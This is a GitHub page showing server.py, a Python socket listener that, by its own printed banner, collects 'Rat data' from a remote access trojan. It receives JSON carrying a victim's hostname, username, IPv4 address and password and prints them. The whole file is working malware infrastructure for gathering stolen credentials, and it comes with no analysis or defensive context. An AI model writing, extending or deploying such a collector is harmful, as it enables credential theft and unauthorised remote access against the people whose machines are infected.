-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathserver.py
38 lines (31 loc) · 883 Bytes
/
server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import socket
import json
import threading
def send_data(tmp):
data = json.loads(tmp.decode('utf-8'))
host = data["host"]
user = data["user"]
ipv4 = data["ipv4"]
password = data["password"]
print(f"""Rat data has been sent
Hostname: {host}
Username: {user}
IPV4: {ipv4}
Password: {password}
""")
if __name__ == "__main__":
s = socket.socket()
print('Socket created.')
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
s.bind((IPAddr, 10110))
print('Socket binded with', IPAddr, 'and established connection to port: 10110.')
s.listen(1)
print("Waiting for data..")
print()
while True:
c, addr = s.accept()
tmp = c.recv(1024)
thread = threading.Thread(target=send_data, args=(tmp, ))
thread.start()
thread.join()